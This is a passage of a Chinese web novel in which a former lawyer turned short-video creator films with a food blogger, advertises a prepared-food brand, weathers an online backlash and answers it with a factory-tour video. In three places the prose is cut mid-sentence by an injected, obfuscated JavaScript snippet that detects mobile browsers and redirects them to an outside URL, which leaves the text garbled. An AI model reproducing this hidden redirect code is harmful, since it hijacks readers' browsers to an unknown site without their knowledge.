在端盘子、递调料、被指挥着调整了不下十次反光板角度的忙碌间隙。 颜炎终于从庄文断断续续的抱怨和秦渥偶尔的解释中。 拼凑出了这顿“鸿门宴”的完整由来。 原来,秦渥今天临时接到一个合作,需要加拍一期展示手工菜精髓的视频。 偏偏不巧,他那个负责所有准备工作的全能助理,早上一个电话过来,说是突发急性肠胃炎,直接躺倒在家了。 正赶来帮他做上镜妆容的庄文。 就这么一头撞在了枪口上,被秦渥理所当然地抓了第一波壮丁。 而颜炎自己,则完美扮演了“被庄文抓的壮丁的壮丁”这一套娃角色。 她累得够呛,感觉小腿肚都有些发酸。 这单位时间内的劳动强度和精神集中度,简直比之前跟着剧组拍那个小短剧时还要高。 毕竟那时她只需要操心表演,而现在,她像个多功能旋转陀螺,在“灯光助理”、“选菜小妹”、“道具搬运工”和“临时场记”之间来回切换。 好容易,一切准备妥当。 灯光打在光洁的灶台上,摄像机红灯亮起。 秦渥瞬间进入状态。 他对着镜头,面带恰到好处的微笑,手指翻飞间. 将那些普通的食材变成了几道堪称精致的菜肴。 无论是火候的精准把控,还是摆盘时对色彩和构图的苛刻要求。 那精细到毫米的程度. 看得一旁的颜炎是啧啧称奇,心里那点因为被“抓壮丁”而产生的小怨气,也暂时被这行云流水般的技艺给压了下去。 ...... “好了。结束。” 秦渥利落地关掉灶火,用干净的毛巾擦了擦手,对着颜炎和庄文那边示意拍摄完成。 颜炎闻言,立刻如蒙大赦,赶紧上前关掉了那台让她神经紧绷了半天的摄像机。 也许是因为终于放松下来,动作幅度大了点,又或许是被那诱人的香气彻底瓦解了意志防线—— 就在这骤然安静的客厅里,她的肚子不受控制地发出了极其响亮的一连串“咕咕咕”声。 那声音在突然静谧下来的空气里,显得格外清晰,甚至带着点回响。 庄文一下没忍住,“噗嗤”一声笑了出来,肩膀都跟着抖了几下。 显然是觉得颜炎这声响动实在过于应景。 然而,他这笑声还没完全落下。 像是被传染了一样,他自己的肚子也紧跟着发出了一连串更为绵长、中气十足的“咕咕咕”声,在安静的客厅里显得格外清晰。 这突如其来的“二重唱”让现场气氛瞬间凝固了一秒。 “啊,不好意思。” 秦渥指了指操作台上那些刚刚完成、还冒着诱人热气和香味的佳肴。 “光顾着拍摄,你们都饿了吧。这些菜现在都可以吃了,请随意。” 颜炎瞅瞅庄文,庄文也瞅瞅颜炎。 两人都从对方眼里看到了如释重负和饿狼般的绿光。 再也顾不上什么形象和客气,两人几乎是异口同声地“嗷”了一嗓子。 立刻扑向了那片美食,也顾不上烫,拿起筷子就开始大快朵颐。 风卷残云般的进食速度终于慢了下来,胃里有了实实在在的温暖食物垫底。 刚才那点手忙脚乱的狼狈感才算是真正被安抚了下去。 颜炎小口啜饮着庄文递过来的热茶,目光落在对面正慢条斯理擦拭着厨刀的秦渥身上。 对了,灵感! 她差点把这正事给忘了。或者说,这才是她历经“抓壮丁”磨难后,依旧坚守在此的终极目的。 于是颜炎赶紧抓住这个空隙,清了清嗓子,虚心求教道。 “对了,秦渥,请教你个问题啊。 “你为什么会选择在家亲手做饭呢?” 在她的设想里。 一位对食材品相、烹饪火候都如此苛刻的美食博主,答案必然是充满情怀和热爱的。 颜炎几乎能预见到秦渥会说出“在家做饭能让我放松”、“我真心享受为在乎的人亲手烹饪美食的过程”,或者至少也是“家的烟火气无可替代”这类标准答案。 她连接下来赞叹和附和的台词都想好了。 但,秦渥放下手中光可鉴人的厨刀,回答得没有一丝一毫的犹豫和浪漫滤镜。 “因为这我的工作啊。” 他的语气平淡得像在陈述“今天天气不错”。 “我是个美食博主。拍摄‘在家做饭’是我的主要内容。所以,我在家做饭,就是在家上班。” 颜炎万万没想到会是这个无比现实的答案,一时语塞,准备好的后续说辞全卡在了喉咙里。她下意识地咬住了手里的筷子头。 不行,得换个角度切入。 于是,颜炎紧接着提出第二个问题,这个问题更直接地指向了她此行的核心任务。 “那……像你这样的专业人士,对美食有这么高的要求和标准,应该会挺反感在家里用预制菜的吧?” 她紧紧盯着秦渥,心想这回总该听到一些对预制菜的“批判”了吧。 哪怕是为了维护手工菜的“尊严”呢。 可秦渥的回答,却再次轻巧地颠覆了颜炎的预想。 他甚至还微微歪头思考了一下,才开口道: “看情况,分时候。” “如果有钱有闲,心情也好,我当然更愿意花费时间,亲手给自己做一顿从原料开始就清清楚楚的新鲜饭菜,那是一种享受。” 紧接着,秦渥话锋一转,非常务实地说: “可要是像今天这样,忙得脚不沾地,拍摄任务重,或者单纯就是累得不想动,那我也能接受预制菜。” ..... 回家的地铁晃晃悠悠,仿佛在夜色中潜行。 颜炎找了个靠边的位置坐下,耳机里没放音乐。 脑子里却一直在反复回荡着秦渥那番没什么感情色彩,却格外真实的话。 渐渐地,窗外飞速掠过的霓虹光影模糊起来。 颜炎的思绪不受控制地发散开来,被拉回到了那段还在律所疲于奔命的日子。 记忆的闸门一旦打开,几个格外清晰的片段便汹涌而出—— 一个普通的工作日。 颜炎在临近午饭前,收到了老板潘斥的一封工作邮件。 邮件措辞简洁,带着不容置疑的命令口吻: 「颜炎,附件里是刚接下来的三十个物业纠纷案子的初步材料,今晚加班把所有的起诉状都起草好,证据目录整理清晰。明天上午九点,放我桌上。」 冰冷的文字背后是海啸般的工作量。 于是,那个晚上,办公室的灯又多亮了几小时。 颜炎连外卖都没心思点,只胡乱塞了几片饼干。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513254|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便闷头扎进那堆枯燥的卷宗和重复性极高的诉状模板里。 等她终于校对完最后一份文件,点击发送。 将沉重的资料包发到潘斥邮箱时,墙上的时钟指针早已越过了晚上九点。 带着一身的疲惫和被电脑屏幕榨干的精力,颜炎终于拖着仿佛灌了铅的双腿回到了公寓。 胃里空荡荡的,却因为长时间精神高度紧张和过度劳累。 感觉已经饿过了头,只剩下一种麻木的虚脱。 但理智告诉她,吃还是得吃点,否则身体真的扛不住。 颜炎抱着最后一丝希望,挪到厨房,打开了冰箱门。 冷藏室里,是颜热上周过来时,担心她不好好吃饭,特意塞满的各种新鲜蔬菜和用保鲜盒分装好的肉类。 色彩丰富,品类齐全,充满了生活气息。 在那一刻,颜炎看着那些需要清洗、切割、烹饪的食材。 只觉得一阵更深的无力感席卷而来,连伸手去拿一颗鸡蛋的力气都仿佛被抽干了。 脑子里只有一个念头在盘旋: 她已经被老板和工作“料理”了一整天了,身心俱疲,哪里还来的多余心思和精力去“料理”这些需要费神处理的食材? 另一个普通得的工作日。 潘斥大概是那天心情格外美丽,亦或是天上的太阳打西边出来了—— 他派发下来的工作量,居然只是“正常”范畴内的多,像一座虽然需要费力但咬咬牙总能爬过去的小山丘。 而且破天荒地,没有在临近下班时,用一封邮件或者一条即时消息进行“临时加塞”的精准打击。 于是,当办公室的时钟指针不偏不倚地指向下午六点时。 颜炎保存好最后一份文档,利落地关掉电脑,内心甚至升起一种近乎陌生的、轻飘飘的喜悦。 她居然,准时下班了! 而且,包里没有任何需要带回家熬夜处理的文件! 这种突如其来的自由。 让颜炎在回家的路上,脚步都不自觉地变得轻快,嘴里甚至哼起了一段不知名的小调。 于是,决定好好犒劳一下难得准点下班的自己——吃顿好的庆祝一下! 等颜炎掏出钥匙打开家门,把包随意往沙发上一扔。 她也跟着把自己摔进柔软的沙发里,动作流畅地掏出手机,指纹解锁,指尖在外卖软件的图标上轻车熟路地点开。 筛选、浏览、加入购物车、支付……一系列操作行云流水。 几分钟内。 一顿涵盖了香辣烤鱼、蒜蓉小龙虾和爽口冰粉的丰盛晚餐就已经在来的路上了。 什么?自己做饭? 这个念头刚冒出来,颜炎就立刻使劲摇了摇头。 仿佛要把这个可怕的想法从脑子里甩出去。 当她下班没事做吗? 冰箱里那些需要洗、切、炒、炖的食材。 此刻在她眼里不是美味的前身,而是麻烦的代名词。 颜炎掰着手指头数: 追剧清单里好几部热门电视剧都更新了七八集存着没看; 游戏也好长时间没登录,估计段位早就掉得没眼看了; 还有那本买回来只在扉页签了名的小说…… 她可是很忙的好伐? 这点宝贵的、属于自己的时间,一分一秒都不能浪费在厨房的油烟里。 16. 第16章 颜炎完全沉浸在秦渥的话与自己过往回忆交织成的思绪里。 等到一个激灵回过神来,抬眼去看地铁门上的线路图时,才发现熟悉的站名早已被甩在身后好几站。 她心里“咯噔”一下,立刻低声惊呼:“糟了!” 等手忙脚乱地在下一站跳下车,挤上反方向的地铁时。 车厢里早已空空荡荡。 广播却反复提示着,这是当晚的倒数第二班车。 等颜炎终于回到公寓,用钥匙拧开了门。 客厅时钟的指针已无情地逼近凌晨。 她的身体处处叫嚣着疲惫,每一块肌肉都在抗议,但大脑却反常地处于一种高速运转的亢奋状态。 于是干脆一咬牙,给自己冲了杯特浓黑咖啡,“啪”地一声打开电脑。 屏幕冷白的光映在颜炎略显苍白的脸上,也照亮了那个终于不再空荡的文档。 键盘清脆而密集的敲击声,在静谧的房间里持续不断地作响。 文档里的文字一行行增加,直到窗外的天色渐渐发亮。 当第一缕光线透过窗帘缝隙,恰好落在指尖时。 颜炎的动作终于慢了下来。 “好了。” 她熟练地按下一键保存,随后拿起手机,将文档通过微信发送给了制片人陶合。 在对话框里,颜炎斟酌着措辞。 附上留言:「陶总,您好。这是一集短视频剧本的初稿,请您过目。有任何修改意见,烦请您随时联系我。」 信息发送成功的提示音响起,她的肩膀才终于松开。 “啪”地一声合上电脑。 颜炎随即身子一歪,便直接躺倒在了床上,几乎是脑袋沾到枕头的同时,立刻陷入了沉沉的睡眠。 …… 这一觉睡得极沉,无梦也无扰。 等颜炎终于从漫长的补觉中悠悠转醒时,感觉浑身的骨头都睡舒展了。 她迷迷糊糊地觉得有些不对劲——从窗外感知到的光线非但没有变得更亮,反而更昏暗了。 便疑惑地伸手摸索到手机,按亮屏幕,眯着尚且模糊的视线看去。 屏幕上清晰地显示着时间——居然已经是傍晚六点多了! 这一觉,竟然从清晨直接睡到了黄昏,几乎横跨了整个白天。 颜炎强压下刚睡醒的懵懂,赶紧点开了绿色的微信图标。 心在胸腔里微微提着,直到看见陶合的名字旁边有一个未读消息的红点。 她深吸一口气,点开。 「剧本初稿已阅。这个剧本的理念不错,切入角度很生活化,也有现实共鸣,我没有什么意见,你可以直接进入拍摄阶段。」——陶合 没有客套的寒暄,没有“再斟酌斟酌”的保留意见,就是这样一句干净利落的肯定。 颜炎悬了这么久的心,终于落回了实处。 她这才后知后觉地长长舒了一口气,产生了一种努力被认可的满足感。 倒在床上里,盯着天花板,忍不住轻笑了几声。 …… 几天后。 经过一番紧锣密鼓的筹备和拍摄,颜炎在短视频平台的个人账号上更新了。 新视频的封面做得简洁有趣,标题是「藏狐经理的工作餐」。 视频设定在一个虚构的公司里。 藏狐被设定为不苟言笑、气场强大的部门经理。 而鼠兔则是他手下那个有点胆小、经常被压榨的实习生下属。 视频发布后没多久,微信提示音就响了。是庄文发来的。 「看了你的新视频!创意满分!你这期用了硬纸板和彩笔手工做了动物面具啊,画得很不错,藏狐那个死鱼眼和鼠兔的怂萌感都抓得很准。」 「PS:我这个专业化妆师看了都要有失业危机感了」 颜炎看着这条调侃的留言,忍不住笑了,飞快地回复: 「哎,我这不是小成本创业,能省则省,暂时还请不起您嘛。」 「PS:我初中学过几年美术,本来还指望能考个特长给中考加点分来着,结果政策变了没用上。没想到啊没想到,现在倒是在这儿派上用场了,看来功夫真是不负有心人。」 她回完庄文的微信,将手机放到一旁,注意力重新回到了自己刚发布不久的短视频上。她轻轻点击了播放键,带着一点创作后的审视和期待,看着画面在眼前展开。 【画面切入】 办公室里。 藏狐经理顶着一张标志性的、仿佛对全世界都感到倦怠的厌世脸,迈着悄无声息的步子。 如同一个幽灵,时不时就精准出现在鼠兔实习生那小小的工位背后,投下一片压迫感十足的阴影。 当鼠兔正对着满屏密密麻麻的数据,焦头烂额地做着统计表格时。 藏狐冰冷的声音就在它毛茸茸的长耳边响起。 “这些数据不急,你先放下,去给客户名单上的这五十个联系人,挨个打电话确认一下信息。” 当鼠兔抱着一叠资料,缩在会议室角落里。小心翼翼地给客户打电话沟通时。 藏狐身影又会准时出现在门口,用指关节敲敲门框,不容置疑地吩咐。 “电话先停停。下午的会议材料,你再去复核一遍,确保万无一失。” 可怜的鼠兔,无论它是躲在茶水间的盆栽后面,还是蜷在档案室的角落。 藏狐经理总能轻而易举地把它从任何一个犄角旮旯里揪出来。 然后用新的、永无止境的工作填满它本就不多的喘息空间。 鼠兔实习生每次都敢怒不敢言。 因为它心里清楚得很,自己能不能顺利通过实习期,赢得那个宝贵的转正名额,全都捏在这位藏狐经理的手里。 【画面一转】 来到短暂的午餐时分。 鼠兔好不容易逮到一点空闲,溜到一个安静的角落,抱着它那个小小的、的饭盒。 正准备享用这来之不易的、属于它自己的宁静时光—— “你自己每天在家做饭?” 藏狐经理带着点高深莫测腔调的声音,毫无预兆地从身后响起。 鼠兔吓得差点把饭盒扔出去。 她僵硬地转过头,只见藏狐不知何时已经站在了那里,正用一种审视的目光,若有所思地盯着那个刚刚打开的饭盒。 饭盒里装着清淡的家常小菜,看起来温馨却普通。 “啊,不是的!经理,我……我和爸爸妈妈住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513255|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起。” 鼠兔战战兢兢地,声音细若蚊蚋。 “这些就是他们做饭时顺便多做一些,我第二天带来当午饭的……” “哦,那正巧,”藏狐经理的语气自然。 “我一个人住,正一直发愁午饭该怎么解决呢。既然这样,就麻烦你的爸爸妈妈,以后也顺便帮我多做一份吧。” 它说完,根本不给鼠兔任何拒绝的机会和反应时间。 就利落地掏出手机,熟练地操作了几下。 “叮”的一声。 鼠兔的手机屏幕上弹出了一个微信红包的转账信息。 “这是饭钱,先转你了哈。” 藏狐经理面无表情地补充了一句,语气却不容置疑。 “对了,我吃肉,口味要重辣。” 鼠兔:“……” 她捧着手机,看着那个仿佛带着烫手温度的红包,又抬头看了看眼前这位理所当然提出离谱要求的顶头上司。 一副被九天玄雷当头劈中的呆滞模样。 【画面又一转】 镜头猛地一转,切到了一个杯盘狼藉的厨房。 鼠兔四仰八叉地躺倒在冰凉的瓷砖地上,一副生无可恋的样子。 只有腿还在无意识地微微抽搐,仿佛经历了一场浩劫。 它的周围,如同刚刚经历过一场食材界的暴动。 火红的干辣椒和翠绿的小米椒滚落得到处都是。 一块刚从冷冻层拿出来、硬得像砖头似的鲜肉,包装袋被撕扯得不成样子,可怜巴巴地躺在灶台边,正慢慢化出水渍。 “呜呜呜……” 鼠兔望着天花板,发出了绝望的啜泣,小鼻子一抽一抽。 “我、我是个只吃水煮青菜和胡萝卜的清淡素食者啊……炒辣椒的油烟都能辣伤我。” “我实在做不了这种重辣的肉菜啊……” 她越想越后悔,懊恼地拍着地板。 “早知道……早知道就不撒谎说跟爸妈一起住了!” “我当时要是跟藏狐经理说实话,说饭其实是我自己做的,就不会有现在这样的下场了……” 但这个念头刚冒出来,就被鼠兔自己惊恐地否定了。 她猛地坐起身,疯狂摇头,。 “不对不对!更可怕!如果藏狐经理知道是我自己做的,他说不定就不止是带饭了,很可能直接让我下班去他家做晚饭!” “那我不就连下班时间都没有了!” 鼠兔绝望地抱住脑袋,又一个“绝妙”的主意闪现。 “要不……以后每顿都给他点外卖蒙混过关算了?” 这个想法让她像是抓住了救命稻草,赶紧掏出手机。 “外卖软件,筛选......重辣、肉食。” 然而,看着那动辄一定金额起送,还要额外配送费的价格。 再对比一下藏狐经理给的红包金额…… 鼠兔发出一声更凄厉的哀嚎,手机“啪嗒”一声掉落。 “啊——!每餐点一次外卖的话,经理给的那点钱根本不够啊!” “这岂不是还要我倒贴我微薄的实习工资?!我怎么办啊啊啊!” 她重新瘫回地上,腿抽搐得更厉害了。 17.第17章 【下一个画面场景】 鼠兔家的门铃“叮咚”一声响了,在安静的傍晚显得格外清晰。 正瘫在沙发上的鼠兔一个激灵,猛地坐起。 她蹑手蹑脚地挪到门边,透过猫眼警惕地往外瞅了瞅。 才小心翼翼地打开一条门缝,接过快递员递来的一个不大不小的硬纸盒。 甚至还鬼鬼祟祟地探出半个身子,在空无一人的楼道里左右张望了一下。 才迅速缩回身子,“咔哒”一声锁好门。 背靠着门板,鼠兔长舒一口气。 随即迫不及待地蹲在地上,利索地划开胶带,拆开了那个快递箱。 纸箱内部,俨然是码得整整齐齐、包装精致的预制菜包。 旁边妥帖地放着维持低温的冷冻冰袋。 箱子打开的瞬间,一股微凉的、带着白气的冷雾缭绕升腾。 像是打开了某个充满希望的宝箱。 镜头快速拉近,给了一个清晰的特写。 包装袋上,陶合的预制菜品牌名称——“在光线下显得格外醒目。 “呼……闺蜜强力推荐的,说是拯救厨房手残党的神器。” 鼠兔拿起一包宫保鸡丁口味的研究着,对着镜头自言自语,语气里带着点孤注一掷的期待,“也不知道好不好用,死马当活马医,先试试吧!” (时间转换) 第二天早上,闹钟响起。 若是往常,鼠兔必定要兵荒马乱地准备午餐。 但今天,她不慌不忙地从冰箱里取出两包预制菜—— 一包给藏狐经理的重辣水煮肉片,一包给自己的清淡西蓝花。 撕开包装,将内容物倒入碗中,放进微波炉,按下启动键。 “叮叮”几声,几分钟的事情,甚至比烧一壶开水还快。 在这几分钟里。 鼠兔还能同时进行洗漱、换衣服,整个过程有条不紊,一点都没被做饭耽误。 等到临出门时,她只是将加热好的、香气扑鼻的菜肴分别装进两个饭盒里。 然后把那个属于藏狐经理的、标注着“重辣”的饭盒,小心翼翼地塞进了自己的通勤包。 (场景转换:公司) 将饭盒交给藏狐经理的那一刻。 鼠兔的心脏都快跳出嗓子眼了。 整个上午的工作时间里,她都处于一种高度紧张的状态,战战兢兢,如履薄冰。 脑海里不受控制地想象出无数个恐怖场景: 藏狐经理突然阴沉着脸出现在她工位旁,把那个饭盒“啪”地一声摔在桌上,汤汁四溅。 然后当着全办公室的面,用冰冷的嗓音宣布她因企图蒙骗上司而被当场解雇…… 鼠兔连打字的手指都在微微发抖。 结果,直到午休时间,预料中的风暴依然没有降临。 藏狐经理的办公室门紧闭着,没有任何异常动静。 鼠兔心存疑虑,又完全不敢主动去打听,只能焦灼地等待着命运的审判。 (场景高潮) 鼠兔刚打开自己的饭盒,准备食不知味地解决午餐时。 那个熟悉的身影,又如同幽灵般,飘飘然地出现在了她的工位旁。 终于……该来的还是要来了吗? 鼠兔绝望地闭上眼睛,准备迎接终极社死和失业的双重打击。 然而,预想中的咆哮并没有出现。 藏狐经理只是背着手,用他那特有的、听不出情绪的语调点评道。 “嗯。今天中午的饭菜不错,味道很正,辣度也够劲。以后要多换点花样,别总是这一个口味。” 鼠兔猛地睁开眼,几乎不敢相信自己的耳朵。 紧接着,藏狐经理像是随口提起一件微不足道的小事,补充了最后一句。 “哦,对了,你的转正申请报告,我刚才已经批了。人事部下午会走流程。” 鼠兔:“!” 巨大的惊喜像烟花一样在她脑海里炸开! 她努力克制住想要原地蹦起来的冲动,脸上瞬间绽放出狂喜的光芒,忙不迭地点头。 “谢谢经理!没问题!换花样绝对没问题!我……呃,我爸妈会做的菜可多了,保准一个星期,不,一个月都不重样!” 【最后的画面场景】 场景温馨地回溯。 再次闪回到鼠兔昨晚蹲在地上,拆开那个救命快递箱的瞬间。 只是这一次,镜头以一种充满希望和满足感的慢镜头,掠过那个打开的纸箱。 箱子里,各种口味的预制菜琳琅满目地展示出来: 鱼香肉丝、台式卤肉、番茄牛腩、黄焖鸡米饭……五花八门,令人眼花缭乱。 ...... 得益于之前那期蜜獾短剧带来的意外走红。 颜炎的账号总算积累起一批初始粉丝,不再是个寂寂无名的小透明。 是以,她这次这部以藏狐和鼠兔为主角的新作品一经发布。 平台的初始推送机制似乎都友善了不少。 比起蜜獾那部靠内容本身一点点硬啃出来的流量。 这期的起步数据明显就好了不少,观看量和点赞数在头两个小时就有了一个还算不错的攀升曲线。 连续几天. 颜炎养成了时不时就刷新一下后台数据的习惯,心情也随着波动的数字起起落落。 看到有粉丝留下有趣的评论,比如“鼠兔好像我本人!”或者“藏狐经理求同款预制菜链接!”, 她都会带着点小开心,立刻上去回复,积极互动,努力营造一种热闹亲切的社区氛围。 这一番努力没有白费,视频的点赞、收藏和转发的数据. 也确实在稳步增长,一切都朝着好的方向发展。 没想到。 就在颜炎刚刚对未来生出些许憧憬之时。 事情毫无预兆地、来了个一百八十度的大转弯。 事情的起因是,另一位的知名博主,在自己的账号上吐槽了一家颇有名气的连锁餐饮店。 博主的核心观点是:该店售卖的是价格高昂的预制菜,性价比极低,涉嫌欺骗消费者。 这番言论迅速引发了广泛关注。 被点名的餐饮店老板勃然大怒,很快作出了回应。 声称自家店内使用的“绝非法律定义上的预制菜”,并高调公开后厨,邀请大众和媒体“实地监督参观”。 然后? 然后这件事就像一颗投入平静湖面的巨石,瞬间激起了千层浪。 一系列话题迅速发酵。 成了时下最热门的公共议题,引起了线上线下各路人马的激烈讨论和站队。 颜炎的那期《藏狐经理的工作餐》的短视频。 就因为给陶合的预制菜品牌做了广告,便被这股洪流卷了进去,成了部分情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515213|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣泄的靶子。 于是,她的视频评论区。 瞬间涌入了大量被热点事件吸引来的陌生账号。 一时之间,页面充斥着大量的批评与指责: “现在博主为了恰饭,什么广子都接了吗?” “预制菜滚出餐饮界!这种视频就是在助长歪风邪气!” “取关了,没想到你也这样。” 屋漏偏逢连夜雨。 陶合那里通过微信传来的消息也不太妙。 他的预制菜网店虽然因为这场舆论风波,获得了前所未有的曝光量。 还瞬间涌入了大量看热闹或是带着情绪的网友,不少人甚至下了单。 但紧接着,很多订单又被纷纷申请退货。 后台的退货理由填得五花八门,客服系统也几乎被各种质疑和负面评论挤爆。 陶合发来的语音消息里,背景音有些嘈杂。 他的语气听起来疲惫又勉强,字里行间都隐隐透露出一些后悔这次合作的意思. 虽未明说,但那句“唉,没想到会碰上这种事儿,现在这情况真是……” 已然足够让颜炎感到压力倍增。 颜炎作为一个内容创作的新手,从来没有遇到过这种四面楚歌的场面. 看着自己辛苦做出的视频被嘲讽,合作方流露出悔意,一时之间只觉得焦头烂额,有点喘不过气。 她烦躁地抓了抓头发,视线落在不断弹出新评论的手机屏幕上。 心情愈发沉重。 就在此时,颜炎想起接连几天收到的颜热的微信。 远在非洲、有时差且时不时就要断网的颜热,在短视频上涌入负面评论的第二天,就注意到了。 此后连续发来微信。 「姐,你那个视频我看了,评论区怎么回事啊?你还好吧?」 「姐,看到回我一下。网上的那些话,你看过就算了,千万不要放在心上。」 「姐,不管别人怎么说,你的视频已经做得很好了,真的,特别有意思!我非洲这边的同事们看了都夸好玩呢。」 没有一句追问,没有一个嘲笑或是不理解的字符。 只有纯粹的关心和笨拙却坚定的维护。 颜炎重新去读了一遍,觉得眼角有些不受控制地发热、湿润。 她赶紧偏过头,抬起手,不着痕迹地用指节快速擦过眼角。 哭什么。 她对自己说。 这点阵仗算什么?以前在律所跟案子,熬了几个大夜,反复打磨辩护材料,自认为准备得天衣无缝。 最终却因为各种因素还是没有达到预期效果的情况,难道还少吗? 那时候不也挺过来了。 消极解决不了问题。 颜炎深吸一口气,强迫自己冷静下来。 她决定求助有经验的人。 脑海里闪过几个名字,最终点开了与秦渥的聊天框,反复斟酌用词,删删改改,最终发出去一条内容简单的微信: 「秦渥,冒昧打扰。想问一下,你发的美食视频,有过被大规模批评或者被黑的情况吗?」 消息发出去后,颜炎有些忐忑地等待着。 没想到,秦渥回复得很快,言简意赅,却带着一种见惯风浪的平静: 「当然了。被黑、被误解、被断章取义,这是一个短视频博主只要持续输出,就几乎一定会不停遇到的问题啊。」 18.第18章 秦渥最后一句话,在颜炎的脑海中久久回荡。 「只要你的短视频传播够广,就一定会遇到喜欢你的人,同样也会遇到不喜欢你的人。」 是啊,被看见,就意味着要接受所有目光的审视,无论是欣赏的还是挑剔的。 想通了这一点,那股被负面评论压得喘不过气的窒息感,似乎松动了一些。 颜炎深吸一口气,像是下定了某种决心,不再犹豫,直接拿起手机,拨通了陶合的电话。 “陶总。” 她的声音还带着点熬夜后的沙哑,但语气却异常坚定。 “关于现在的情况,我有个想法。我再给你做一期短视频吧。” 说完这句话,颜炎预料之中地顿了顿。 甚至下意识地将手机从耳边拿远了些,预留给电话那头一个情绪宣泄的出口。 果然,听筒里立刻传来了陶合又气又急、语速快得像连珠炮一样的声音。 混杂着对当前混乱局面的抱怨、对退货潮的心疼。 颜炎没有打断,只是安静地听着。 直到那头的声浪和说话的频率都逐渐降低,从咆哮变成了无奈的嘟囔,她才重新将听筒贴近耳边。 “陶总,您先别急。” 她的声音放缓。 “您仔细想想,我们合作的初衷是什么?您本来就是面向家庭消费者,售卖家用预制菜的,对吧?我们上一期视频里,用来解决带饭难题,展现方便快捷,没有夸大宣传的地方,对不对?” 电话那头,陶合沉默了。 只能听到他有些粗重的呼吸声,但之前的焦躁显然被这句话摁下了一个暂停键。 颜炎感受到他的松动,立刻抓住机会,再接再厉,说出自己反复查看评论区后得出的结论: “我把那些负面留言几乎都看了一遍。绝大多数的负面留言,其实集中在两点:一是介意某些餐馆把预制菜当成现炒现做的菜,卖高价;二是普遍担心预制菜在制作过程中的卫生问题。” 她顿了顿,给对方消化的时间,然后才清晰地切分责任。 “您看,前面那个关于餐馆诚信的问题,跟我们、跟您的品牌,根本没有关系。至于后面的营养和卫生问题……” 这话像是瞬间触动了陶合最敏感的那根神经,他立刻接口,语气急切,带着一种被冤枉后急于自证清白的激动。 “后面的跟我更没有关系!所有的食品生产许可证、卫生检测报告我们全都齐全!” 等的就是这句话。 颜炎立刻顺势抛出了自己的核心提议,语气果断而诚恳: “所以,陶总,我才说,建议我们趁热打铁,再做一期视频。回应这些关切。” “当然,鉴于目前的情况,为了表达我的诚意和共同承担责任的姿态,这一期,我不收取任何费用。” ...... 网络的热点就像一阵风,来得快,去得也快。 不过一个多星期左右。 关于预制菜的激烈争论和玩梗热潮,便渐渐被新的八卦和趣闻所取代。 颜炎短视频评论区里那些尖锐的负面留言,增长速度明显放缓,渐渐恢复了往日的平静。 不过,这段时间里。 颜炎可没闲着坐等风波过去。 其实,在决定接陶合这个广告单之前,颜炎对于“预制菜”这三个字,她同样带着普通消费者的疑虑。 也正因如此,颜炎在这次接单之前。 就已经先去参观过了陶合的工厂,才定下要做这期广告视频。 当时她还特地去医院,加急办了一张餐饮从业人员必备的健康证。 现在又再次用上了。 颜炎翻出健康证,紧接着便带着自己淘来的拍摄设备。 根据和陶合约好的时间,前往他那预制菜加工工厂了。 在陶合的预制菜工厂里。 颜炎透过镜头,清晰地记录了各种新鲜的蔬菜和肉类。 如何在工业流水线上,经历精准择选、清洗,然后进行标准化加料和烹饪,最后变成色香味稳定的成品,被迅速包装、抽真空、封口。 工人们则统一穿着洁净的白色工服,戴着严实的口罩和透明手套,在各自的岗位上安静有序地忙碌着。 收集了足够多“硬核”素材的颜炎,回到家里又连着忙了十来个小时进行剪辑。 她把工厂实拍、资质文件特写与通俗的解说结合在一起,加班加点,终于捣鼓出了一期名为《走进预制菜》的“探厂”视频。 在一个风和日丽的上午。 颜炎仔细检查了好几遍视频标题、封面和简介,确认无误后。 指尖轻轻一点,将那条精心准备的“探厂”视频发布了出去。 做完这一切,她端起旁边那杯已经凉透了的咖啡喝了一大口。 仿佛是要压下心头那点残余的忐忑。 整个上午。 颜炎都强迫自己不去频繁刷新后台,转而去做些家务分散注意力。 但眼神总忍不住往手机屏幕上瞟。 情况比预想中要好。 这次的视频下面,虽然依旧零星散布着一些坚定反对预制菜、质疑工业化食品的留言,但更多中立、甚至于带有肯定意味的评价占据了上风—— “原来现代化工厂是这样的生产预制菜的,感觉还挺干净的” “考虑下几单这个品牌的预制菜尝尝看,推荐什么口味的比较好吃?” “嗯嗯,虽然少了人工炒菜的锅气,但是我下班回来,实在不想再做饭了啊啊” 看到这些理性的讨论。 颜炎一直蹙着的眉头,终于舒展开了一些。 到了下午。 颜热那家伙又踩着点冒了出来,头像在手机屏幕上欢快地跳动。 「姐,你又发视频啦!」后面跟着一个吃瓜围观的表情包。 